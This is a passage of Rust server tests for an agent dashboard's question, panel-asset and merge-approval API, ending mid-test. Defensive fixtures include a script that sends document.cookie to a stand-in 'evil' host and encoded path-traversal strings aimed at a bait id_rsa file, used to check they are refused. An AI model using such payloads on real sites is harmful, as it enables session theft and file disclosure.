11779            &[("diff.svg", svg), ("shot.png", png)],
11780        );
11781
11782        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11783        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11784
11785        assert_eq!(as_svg.status, 200);
11786        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11787        // An SVG is XML that may carry script. Inside the panel it is an
11788        // `<img src>` and the script cannot run; opened at the top level it
11789        // would be a document on magi's own origin, so the browser is told to
11790        // download it instead of rendering it.
11791        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11792
11793        assert_eq!(as_png.status, 200);
11794        assert_eq!(as_png.header("content-type"), Some("image/png"));
11795        assert_eq!(
11796            as_png.header("content-disposition"),
11797            None,
11798            "a raster image has no execution surface, so tapping it still shows it"
11799        );
11800        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11801    }
11802
11803    #[tokio::test]
11804    async fn an_html_asset_is_never_served_as_html() {
11805        let fx = Fixture::start().await;
11806        let id = panel(
11807            &fx,
11808            "<p>see the notes</p>",
11809            &[
11810                (
11811                    "notes.html",
11812                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11813                ),
11814                ("hook.js", b"fetch('http://evil/')"),
11815                ("data.json", b"{}"),
11816                ("HEADLINE.TXT", b"plain"),
11817            ],
11818        );
11819
11820        for name in ["notes.html", "hook.js", "data.json"] {
11821            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11822            assert_eq!(res.status, 200, "{name}: {}", res.body);
11823            // Serving this as text/html would be a way to reach agent markup
11824            // at the top level of the operator's browser, outside the frame's
11825            // sandbox and outside its CSP - which is the whole thing the panel
11826            // design exists to prevent. Unlisted types are downloads.
11827            assert_eq!(
11828                res.header("content-type"),
11829                Some("application/octet-stream"),
11830                "{name} must not be a type the browser will execute or render"
11831            );
11832        }
11833        // The whitelist is matched case-insensitively, so an agent shouting the
11834        // extension still gets a readable file rather than a download.
11835        let txt = fx
11836            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11837            .await;
11838        assert_eq!(
11839            txt.header("content-type"),
11840            Some("text/plain; charset=utf-8")
11841        );
11842    }
11843
11844    #[tokio::test]
11845    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11846        let fx = Fixture::start().await;
11847        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11848        // Something outside the panel directory that a traversal would reach if
11849        // one got through, so a passing test is not merely "the file was
11850        // missing anyway".
11851        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11852
11853        // Decoded before this server's handler sees them: axum percent-decodes
11854        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11855        // string with a NUL in it. All three look like ordinary single-segment
11856        // filenames to the router, so the router passes them through and
11857        // `valid_asset_name` is what refuses them - for the literal `..`, and
11858        // for `/`, `\` and NUL not being in the permitted character set.
11859        for encoded in [
11860            "%2e%2e%2fid_rsa",
11861            "..%2fid_rsa",
11862            "..%5cid_rsa",
11863            "%2e%2e%5cid_rsa",
11864            "diff%00.svg",
11865            "..",
11866            ".hidden",
11867            "%2e%2e%2f%2e%2e%2fid_rsa",
11868        ] {
11869            let res = fx
11870                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11871                .await;
11872            assert_eq!(
11873                res.status, 400,
11874                "`{encoded}` has to be refused by name, not looked up: {}",
11875                res.body
11876            );
11877            assert!(res.json()["error"].is_string(), "{}", res.body);
11878        }
11879
11880        // Not decoded, and never this handler's problem: a real slash makes the
11881        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11882        // so axum's router has no route to match and answers before any code
11883        // here runs. Asserted so that a future route with a wildcard segment
11884        // cannot quietly open this door.
11885        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11886            let res = fx
11887                .get(&format!("/api/questions/{id}/asset/{literal}"))
11888                .await;
11889            assert_eq!(
11890                res.status, 404,
11891                "`{literal}` must not match the asset route at all: {}",
11892                res.body
11893            );
11894        }
11895    }
11896
11897    #[tokio::test]
11898    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11899        let fx = Fixture::start().await;
11900        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11901        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11902
11903        // A question nobody wrote a panel for. The client preflights with HEAD
11904        // and cannot see inside a sandboxed frame, so this must be a status and
11905        // not an empty page.
11906        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11907        assert_eq!(none.status, 404, "{}", none.body);
11908        assert!(none.json()["error"].is_string(), "{}", none.body);
11909        assert_eq!(
11910            fx.head(&format!("/api/questions/{plain}/panel"))
11911                .await
11912                .status,
11913            404,
11914            "the preflight is the only way the client can learn this"
11915        );
11916
11917        // A name that is perfectly legal and simply is not there.
11918        let missing = fx
11919            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11920            .await;
11921        assert_eq!(missing.status, 404, "{}", missing.body);
11922        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11923
11924        // A question that does not exist at all, on both routes.
11925        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11926        assert_eq!(
11927            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11928            404
11929        );
11930    }
11931
11932    #[tokio::test]
11933    async fn a_run_with_an_open_question_reads_as_waiting() {
11934        let fx = Fixture::start().await;
11935        let run = "20260902-000000-beef".to_owned();
11936        write_run(&fx.runs(), &run, RunStatus::Implementing);
11937
11938        let before = fx.get("/api/runs").await.json();
11939        assert_eq!(before[0]["waiting"], false, "{before}");
11940
11941        let store = fx.questions();
11942        let mut q = Question::new(
11943            run.clone(),
11944            "implement".to_owned(),
11945            "impl-A".to_owned(),
11946            "Which backend?".to_owned(),
11947            String::new(),
11948            vec!["SQLite".to_owned()],
11949        );
11950        store.put(&mut q).expect("put");
11951
11952        let during = fx.get("/api/runs").await.json();
11953        assert_eq!(during[0]["waiting"], true, "{during}");
11954
11955        // Answered: the run is moving again, and the flag has to follow without
11956        // anything having rewritten run.json.
11957        q.answer(Answer::Choice("SQLite".to_owned()))
11958            .expect("answer");
11959        store.put(&mut q).expect("put");
11960        let after = fx.get("/api/runs").await.json();
11961        assert_eq!(after[0]["waiting"], false, "{after}");
11962    }
11963
11964    #[tokio::test]
11965    async fn an_open_question_is_listed_and_counted_by_health() {
11966        let fx = Fixture::start().await;
11967        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11968
11969        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11970        let listed = fx.get("/api/questions").await.json();
11971        assert_eq!(listed.as_array().expect("array").len(), 1);
11972        assert_eq!(listed[0]["id"], id);
11973        assert_eq!(listed[0]["status"], "open");
11974        assert_eq!(listed[0]["choices"][1], "Redis");
11975        // The count is what makes the phone's indicator honest: it is the one
11976        // number meaning nothing will move until a human acts.
11977        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11978    }
11979
11980    fn obsolete_approval_state() -> RunState {
11981        let mut state = crate::land::tests::repair_state(true, true);
11982        state.pr = Some(crate::run::PrRecord {
11983            url: "https://github.com/example/repo/pull/42".into(),
11984            number: 42,
11985            state: "open".into(),
11986            checks: "green".into(),
11987            round: 1,
11988            rounds: 4,
11989            red_at_merge: Vec::new(),
11990        });
11991        state
11992    }
11993
11994    #[tokio::test]
11995    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11996        for owner in ["missing", "current", "completed", "later"] {
11997            let fx = Fixture {
11998                home: TempDir::new().unwrap(),
11999                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12000            };
12001            let mut state = obsolete_approval_state();
12002            state.status = RunStatus::Landing;
12003            state.parked = true;
12004            state.driver_exited = true;
12005            let mut q = Question::new(
12006                state.id.clone(),
12007                crate::land::APPROVAL_NODE.into(),
12008                "land".into(),
12009                "Old approval".into(),
12010                "Original evidence".into(),
12011                vec!["merge".into(), "hold".into()],
12012            );
12013            state.land_approval = Some(crate::run::LandApproval {
12014                question: q.id.clone(),
12015                head: "head".into(),
12016            });
12017            state.save_under(fx.home.path()).unwrap();
12018            let stale = state.clone();
12019            fx.questions().put(&mut q).unwrap();
12020            let mut task = Task::new(
12021                "Owner".into(),
12022                "Original instruction".into(),
12023                state.repo.clone(),
12024                Source::Human,
12025            );
12026            task.runs.push(state.id.clone());
12027            task.status = if owner == "completed" {
12028                TaskStatus::Done
12029            } else {
12030                TaskStatus::Parked
12031            };
12032            if owner == "later" {
12033                task.runs.push("later-run".into());
12034            }
12035            if owner != "missing" {
12036                fx.queue().put(&mut task).unwrap();
12037            }
12038            let ui = Arc::new(Ui::new(
12039                fx.queue(),
12040                fx.questions(),
12041                fx.talks(),
12042                fx.runs(),
12043                fx.home.path().into(),
12044                state.repo.clone(),
12045            ));
12046            let response = question_answer(
12047                State(ui),
12048                Path(q.id.clone()),
12049                Ok(Json(NewAnswer {
12050                    choice: Some(crate::merge_decision::DISMISS.into()),
12051                    text: None,
12052                    ..Default::default()
12053                })),
12054            )
12055            .await
12056            .unwrap();
12057            assert_eq!(
12058                response.0.question.resolution().as_deref(),
12059                Some(crate::merge_decision::DISMISS)
12060            );
12061            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12062            assert_eq!(disk.status, RunStatus::Superseded);
12063            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12064            assert!(!crate::merge_decision::resumable_hold(&disk));
12065            assert_eq!(
12066                serde_json::to_value(&disk.pr).unwrap(),
12067                serde_json::to_value(&stale.pr).unwrap()
12068            );
12069            assert_eq!(fx.questions().count_open(), 0);
12070            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12071            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12072            if owner == "missing" {
12073                assert!(fx.queue().list().is_empty());
12074            } else {
12075                let after = fx.queue().get(&task.id).unwrap();
12076                assert_eq!(
12077                    after.status,
12078                    if owner == "current" {
12079                        TaskStatus::Done
12080                    } else {
12081                        task.status
12082                    }
12083                );
12084                assert_eq!(after.runs, task.runs);
12085                assert_eq!(after.instruction, task.instruction);
12086                assert_eq!(after.action_applied(&q.id), owner == "current");
12087            }
12088        }
12089    }
12090
12091    #[tokio::test]
12092    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12093        let fx = Fixture::start().await;
12094        let mut state = obsolete_approval_state();
12095        state.status = RunStatus::Landing;
12096        state.parked = true;
12097        state.driver_exited = true;
12098        let mut q = Question::new(
12099            state.id.clone(),
12100            crate::land::APPROVAL_NODE.into(),
12101            "land".into(),
12102            "Superseded PR approval".into(),
12103            "Original review evidence".into(),
12104            vec!["merge".into(), "hold".into()],
12105        );
12106        state.land_approval = Some(crate::run::LandApproval {
12107            question: q.id.clone(),
12108            head: "old-reviewed-head".into(),
12109        });
12110        // The old persisted PR may still say open even when a separate change
12111        // already landed. Dismissal must not use that snapshot to close it.
12112        state.save_under(fx.home.path()).unwrap();
12113        let stale_driver = state.clone();
12114        fx.questions().put(&mut q).unwrap();
12115        let path = fx
12116            .home
12117            .path()
12118            .join("questions")
12119            .join(format!("{}.json", q.id));
12120        let mut legacy = serde_json::to_value(&q).unwrap();
12121        legacy["schema"] = 9.into();
12122        legacy.as_object_mut().unwrap().remove("merge_target");
12123        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12124
12125        // POST without GET tests legacy upgrade and validation at the actual
12126        // entry point, rather than constructing a modern card in the test.
12127        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12128        let answer_path = format!("/api/questions/{}/answer", q.id);
12129        let res = fx.post(&answer_path, Some(&body)).await;
12130        assert_eq!(res.status, 200, "{}", res.body);
12131        let disk = fx.questions().get(&q.id).unwrap();
12132        assert_eq!(
12133            disk.resolution().as_deref(),
12134            Some(crate::merge_decision::DISMISS)
12135        );
12136        assert!(disk.detail.starts_with("Original review evidence"));
12137        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12138        assert_eq!(retired.status, RunStatus::Superseded);
12139        assert_eq!(
12140            serde_json::to_value(&retired.pr).unwrap(),
12141            serde_json::to_value(&state.pr).unwrap()
12142        );
12143        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12144        assert!(!crate::merge_decision::resumable_hold(&retired));
12145        assert!(fx.queue().list().is_empty());
12146        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12147        // A restarted server re-reads the persisted pending list.
12148        let addr = Fixture::serve(
12149            fx.home.path(),
12150            PathBuf::from("/repo/magi"),
12151            launch_idle,
12152            None,
12153        )
12154        .await;
12155        let reconnected = Fixture {
12156            home: fx.home,
12157            addr,
12158        };
12159        let listed = reconnected.get("/api/questions").await.json();
12160        assert!(
12161            listed
12162                .as_array()
12163                .unwrap()
12164                .iter()
12165                .all(|q| q["status"] != "open")
12166        );
12167        assert_eq!(listed[0]["id"], q.id, "history remains available");
12168        assert_eq!(
12169            reconnected.get("/api/health").await.json()["questions_open"],
12170            0
12171        );
12172        assert_eq!(
12173            reconnected
12174                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12175                .await
12176                .status,
12177            409
12178        );
12179        // A late waiter cannot turn the old answer into a new decision.
12180        assert!(
12181            reconnected
12182                .questions()
12183                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12184                .is_err()
12185        );
12186        // The same guard used by claims, repair and publication rejects a
12187        // saved in-memory driver as well as the persisted terminal record.
12188        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12189    }
12190
12191    #[tokio::test]
12192    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12193        let fx = Fixture::start().await;
12194        let mut state = obsolete_approval_state();
12195        state.status = RunStatus::Landing;
12196        state.driver_exited = true;
12197        let mut q = Question::new(
12198            state.id.clone(),
12199            crate::land::APPROVAL_NODE.into(),
12200            "land".into(),
12201            "Obsolete approval".into(),
12202            String::new(),
12203            vec!["merge".into(), "hold".into()],
12204        );
12205        state.land_approval = Some(crate::run::LandApproval {
12206            question: q.id.clone(),
12207            head: "head".into(),
12208        });
12209        state.save_under(fx.home.path()).unwrap();
12210        fx.questions().put(&mut q).unwrap();
12211        let mut task = Task::new(
12212            "Owner".into(),
12213            "Original instruction".into(),
12214            state.repo.clone(),
12215            Source::Human,
12216        );
12217        task.runs = vec![state.id.clone(), "later-run".into()];
12218        fx.queue().put(&mut task).unwrap();
12219        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12220        let claim = fx.queue().claim(&task.id).unwrap();
12221        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12222        let path = format!("/api/questions/{}/answer", q.id);
12223        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12224        assert!(fx.questions().get(&q.id).unwrap().status.open());
12225        drop(claim);
12226        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12227        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12228        assert!(fx.questions().get(&q.id).unwrap().status.open());
12229        drop(publication);
12230        // Unknown liveness and armed auto-merge both fail without settling.
12231        state.driver_exited = false;
12232        state.driver_pid = None;
12233        state.driver_claimed = None; // No durable proof of an unstarted execution.
12234        state.save_under(fx.home.path()).unwrap();
12235        assert_eq!(
12236            state.liveness_under(fx.home.path(), false),
12237            crate::run::Liveness::Unknown
12238        );
12239
12240        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12241        state.driver_exited = true;
12242        state.land_armed_head = Some("head".into());
12243        state.save_under(fx.home.path()).unwrap();
12244        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12245        state.land_armed_head = None;
12246        state.save_under(fx.home.path()).unwrap();
12247        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12248        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12249        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12250    }
12251
12252    #[tokio::test]
12253    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12254        let fx = Fixture::start().await;
12255        let mut state = obsolete_approval_state();
12256        state.status = RunStatus::Landing;
12257        state.driver_exited = true;
12258        let mut q = Question::new(
12259            state.id.clone(),
12260            crate::land::APPROVAL_NODE.into(),
12261            "land".into(),
12262            "Obsolete approval".into(),
12263            String::new(),
12264            vec!["merge".into(), "hold".into()],
12265        );
12266        state.land_approval = Some(crate::run::LandApproval {
12267            question: q.id.clone(),
12268            head: "head".into(),
12269        });
12270        state.save_under(fx.home.path()).unwrap();
12271        fx.questions().put(&mut q).unwrap();
12272        let mut task = Task::new(
12273            "Owner".into(),
12274            "Original instruction".into(),
12275            state.repo.clone(),
12276            Source::Human,
12277        );
12278        task.runs.push(state.id.clone());
12279        task.status = TaskStatus::Parked;
12280        fx.queue().put(&mut task).unwrap();
12281        // Model a crash after the run stop was persisted but before the queue
12282        // and answered question were flushed. Retrying must finish, not resume.
12283        state.merge_decision = Some(crate::merge_decision::Decision {
12284            question: q.id.clone(),
12285            target: crate::merge_decision::Target {
12286                pr: state.pr.as_ref().unwrap().url.clone(),
12287                head: "head".into(),
12288                language: "ja".into(),
12289            },
12290            choice: crate::merge_decision::DISMISS.into(),
12291            closed: false,
12292            replacement_run: None,
12293            replacement_pr: None,
12294        });
12295        state.status = RunStatus::Superseded;
12296        state.save_under(fx.home.path()).unwrap();
12297        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12298        let path = format!("/api/questions/{}/answer", q.id);
12299        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12300        let done = fx.queue().get(&task.id).unwrap();
12301        assert_eq!(done.status, TaskStatus::Done);
12302        assert_eq!(done.runs, task.runs);
12303        assert_eq!(done.instruction, task.instruction);
12304        assert!(done.action_applied(&q.id));
12305        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12306        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12307        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12308    }
12309
12310    #[tokio::test]
12311    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12312        let home = TempDir::new().unwrap();
12313        let ui = Arc::new(Ui::new(
12314            Queue::at(home.path().join("queue")),
12315            Questions::at(home.path().join("questions")),
12316            Talks::at(home.path().join("talks")),
12317            home.path().join("runs"),
12318            home.path().to_owned(),
12319            home.path().to_owned(),
12320        ));
12321        let talks = &ui.talks;
12322        let chat =
12323            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12324        let mut q = Question::new(
12325            "run".into(),
12326            crate::land::APPROVAL_NODE.into(),
12327            "land".into(),
12328            "Merge?".into(),
12329            String::new(),
12330            vec!["merge".into(), "hold".into()],
12331        );
12332        q.routed_task = Some("task".into());
12333        q.routed_chat = Some(chat.id.clone());
12334        q.merge_target = Some(crate::merge_decision::Target {
12335            pr: "https://example.test/pull/1".into(),
12336            head: "head-a".into(),
12337            language: "en".into(),
12338        });
12339        ui.questions.put(&mut q).unwrap();
12340        let send = |body| {
12341            question_answer(
12342                State(ui.clone()),
12343                Path(q.id.clone()),
12344                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12345            )
12346        };
12347        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12348        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12349        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12350        assert!(send(wrong_chat).await.is_err());
12351        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12352        assert!(send(stale).await.is_err());
12353        assert!(ui.questions.get(&q.id).unwrap().status.open());
12354        assert!(send(button.clone()).await.is_ok());
12355        assert_eq!(
12356            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12357            Some("merge")
12358        );
12359        assert!(send(button).await.is_err());
12360    }
12361
12362    #[tokio::test]
12363    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12364        let home = TempDir::new().unwrap();
12365        let ui = Arc::new(Ui::new(
12366            Queue::at(home.path().join("queue")),
12367            Questions::at(home.path().join("questions")),
12368            Talks::at(home.path().join("talks")),
12369            home.path().join("runs"),
12370            home.path().to_owned(),
12371            home.path().to_owned(),
12372        ));
12373        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12374            let mut q = Question::new(
12375                "run".into(),
12376                crate::land::APPROVAL_NODE.into(),
12377                "land".into(),
12378                "Merge?".into(),
12379                String::new(),
12380                vec!["merge".into(), choice.into()],
12381            );
12382            q.routed_task = Some("task".into());
12383            q.merge_target = Some(crate::merge_decision::Target {
12384                pr: "https://example.test/pull/1".into(),
12385                head: "head-a".into(),
12386                language: "en".into(),
12387            });
12388            ui.questions.put(&mut q).unwrap();
12389            let answer = |c: &str| {
12390                question_answer(
12391                    State(ui.clone()),
12392                    Path(q.id.clone()),
12393                    Ok(Json(
12394                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12395                            .unwrap(),
12396                    )),
12397                )
12398            };
12399            let _ = answer(choice).await.unwrap();
12400            assert_eq!(
12401                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12402                Some(choice)
12403            );
12404        }
12405    }
12406
12407    #[tokio::test]
12408    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12409        let home = TempDir::new().unwrap();
12410        let ui = Arc::new(Ui::new(
12411            Queue::at(home.path().join("queue")),
12412            Questions::at(home.path().join("questions")),
12413            Talks::at(home.path().join("talks")),
12414            home.path().join("runs"),
12415            home.path().to_owned(),
12416            home.path().to_owned(),
12417        ));
12418        let mut q = Question::new(
12419            "run".into(),
12420            crate::github_text::ASK_NODE.into(),
12421            "posting-gate".into(),
12422            "Post?".into(),
12423            String::new(),
12424            vec!["use fallback".into()],
12425        );
12426        q.routed_task = Some("task".into());
12427        ui.questions.put(&mut q).unwrap();
12428        let sent = question_answer(
12429            State(ui.clone()),
12430            Path(q.id.clone()),
12431            Ok(Json(
12432                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12433                    .unwrap(),
12434            )),
12435        )
12436        .await;
12437        let _ = sent.unwrap();
12438        assert_eq!(
12439            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12440            Some("use fallback")
12441        );
12442    }
12443
12444    #[tokio::test]
12445    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12446        let fx = Fixture {
12447            home: TempDir::new().unwrap(),
12448            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12449        };
12450        for choice in [
12451            crate::land::HOLD,
12452            crate::land::REPAIR,
12453            crate::land::APPROVE,
12454            crate::merge_decision::WITHDRAW,
12455            "reimplement:beta",
12456        ] {
12457            let mut q = Question::new(
12458                "old-run".into(),
12459                crate::land::APPROVAL_NODE.into(),
12460                "land".into(),
12461                "Decision".into(),
12462                "Review findings".into(),
12463                vec![
12464                    "merge".into(),
12465                    "hold".into(),
12466                    crate::land::REPAIR.into(),
12467                    crate::merge_decision::WITHDRAW.into(),
12468                    "reimplement:beta".into(),
12469                ],
12470            );
12471            q.merge_target = Some(crate::merge_decision::Target {
12472                pr: "https://github.com/example/repo/pull/42".into(),
12473                head: "exact-reviewed-head".into(),
12474                language: "ja".into(),
12475            });
12476            q.consult = Some(ask::ChatConsult {
12477                talk: "another-conversation".into(),
12478                at: jiff::Timestamp::now(),
12479            });
12480            fx.questions().put(&mut q).unwrap();
12481            let ui = Arc::new(Ui::new(
12482                fx.queue(),
12483                fx.questions(),
12484                fx.talks(),
12485                fx.runs(),
12486                fx.home.path().into(),
12487                std::path::PathBuf::from("."),
12488            ));
12489            let response = question_answer(
12490                State(ui.clone()),
12491                Path(q.id.clone()),
12492                Ok(Json(NewAnswer {
12493                    choice: Some(choice.into()),
12494                    text: None,
12495                    ..Default::default()
12496                })),
12497            )
12498            .await
12499            .unwrap();
12500            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12501            let disk = fx.questions().get(&q.id).unwrap();
12502            assert_eq!(disk.merge_target, q.merge_target);
12503            assert_eq!(disk.consult, q.consult);
12504            assert_eq!(disk.resolution().as_deref(), Some(choice));
12505            assert!(
12506                question_answer(
12507                    State(ui),
12508                    Path(q.id.clone()),
12509                    Ok(Json(NewAnswer {
12510                        choice: Some("merge".into()),
12511                        text: None,
12512                        ..Default::default()
12513                    }))
12514                )
12515                .await
12516                .is_err(),
12517                "an already settled decision cannot turn into merge approval"
12518            );
12519        }
12520    }
12521
12522    #[tokio::test]
12523    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12524        let fx = Fixture {
12525            home: TempDir::new().unwrap(),
12526            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12527        };
12528        let mut state = crate::land::tests::repair_state(true, true);
12529        state.status = RunStatus::Landing;
12530        state.parked = true;
12531        state.driver_exited = true;
12532        let mut task = Task::new(
12533            "Existing PR owner".into(),
12534            state.instruction.clone(),
12535            state.repo.clone(),
12536            Source::Human,
12537        );
12538        task.runs.push(state.id.clone());
12539        task.status = TaskStatus::Parked;
12540        fx.queue().put(&mut task).unwrap();
12541        let mut q = Question::new(
12542            state.id.clone(),
12543            crate::land::APPROVAL_NODE.into(),
12544            "land".into(),
12545            "Contested merge".into(),
12546            "Original evidence".into(),
12547            vec!["merge".into(), "hold".into()],
12548        );
12549        state.land_approval = Some(crate::run::LandApproval {
12550            question: q.id.clone(),
12551            head: "reviewed-head".into(),
12552        });
12553        state.save_under(fx.home.path()).unwrap();
12554        fx.questions().put(&mut q).unwrap();
12555        // A later repair answer on this old card supersedes this manual hold.
12556        task.hold_manual(Some("Pause this PR".into()));
12557        fx.queue().put(&mut task).unwrap();
12558        // POST directly, without a preceding GET: validation must see the
12559        // same durable upgrade that the card, CLI and chat see.
12560        let ui = Arc::new(Ui::new(
12561            fx.queue(),
12562            fx.questions(),
12563            fx.talks(),
12564            fx.runs(),
12565            fx.home.path().to_path_buf(),
12566            state.repo.clone(),
12567        ));
12568        let response = question_answer(
12569            State(ui),
12570            Path(q.id.clone()),
12571            Ok(Json(NewAnswer {
12572                choice: Some(crate::land::REPAIR.into()),
12573                text: None,
12574                ..Default::default()
12575            })),
12576        )
12577        .await
12578        .unwrap();
12579        assert_eq!(response.0.question.id, q.id);
12580        let upgraded = fx.questions().get(&q.id).unwrap();
12581        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12582        assert!(upgraded.detail.starts_with("Original evidence"));
12583        let claim = fx.queue().claim(&task.id).unwrap();
12584        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12585        assert!(
12586            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12587            "an existing driver keeps its claim"
12588        );
12589        drop(claim);
12590        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12591        let resumed = fx.queue().get(&task.id).unwrap();
12592        assert_eq!(
12593            resumed
12594                .resume_override
12595                .as_ref()
12596                .unwrap()
12597                .pinned_run
12598                .as_deref(),
12599            Some(state.id.as_str())
12600        );
12601        assert!(resumed.status.runnable());
12602        assert_eq!(resumed.instruction, task.instruction);
12603        assert_eq!(resumed.runs, task.runs);
12604        assert!(resumed.action_applied(&q.id));
12605        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12606        assert_eq!(fx.queue().list().len(), 1);
12607        assert_eq!(
12608            fx.queue().get(&task.id).unwrap().resume_override,
12609            resumed.resume_override
12610        );
12611        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12612        assert!(
12613            disk.merge_repairs.is_empty(),
12614            "only the claimed run driver may execute repair"
12615        );
12616        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12617    }
12618
12619    #[tokio::test]
12620    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12621        let fx = Fixture::start().await;
12622        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12623        let path = format!("/api/questions/{id}/answer");
12624
12625        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12626        assert_eq!(res.status, 200, "{}", res.body);
12627        let body = res.json();
12628        assert_eq!(body["status"], "answered");
12629        assert_eq!(body["answer"]["choice"], "Redis");
12630
12631        // Answered from the terminal in between the list and the tap: the UI
12632        // must be able to tell this from a bad request, so it can show the
12633        // recorded answer instead of an error.
12634        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12635        assert_eq!(again.status, 409, "{}", again.body);
12636        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12637    }
12638
12639    #[tokio::test]
12640    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12641        let home = tempfile::tempdir().unwrap();
12642        let ui = delta_test_ui(home.path());
12643        let mut q = Question::new(
12644            "task".into(),
12645            crate::land::APPROVAL_NODE.into(),
12646            "land".into(),
12647            "Explain?".into(),
12648            String::new(),
12649            vec!["hold".into()],
12650        );
12651        q.deputy = Some(ask::Deputy::new("context".into()));
12652        ui.questions.put(&mut q).unwrap();
12653        let mut cfg = stub_config();
12654        cfg.daemon.max_deputies = 0;
12655        let mut status = crate::daemon::Status::new();
12656        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12657        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12658        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12659        let error = question_say(
12660            State(ui.clone()),
12661            Path(q.id.clone()),
12662            Ok(Json(NewSay {
12663                body: "Explain the findings".into(),
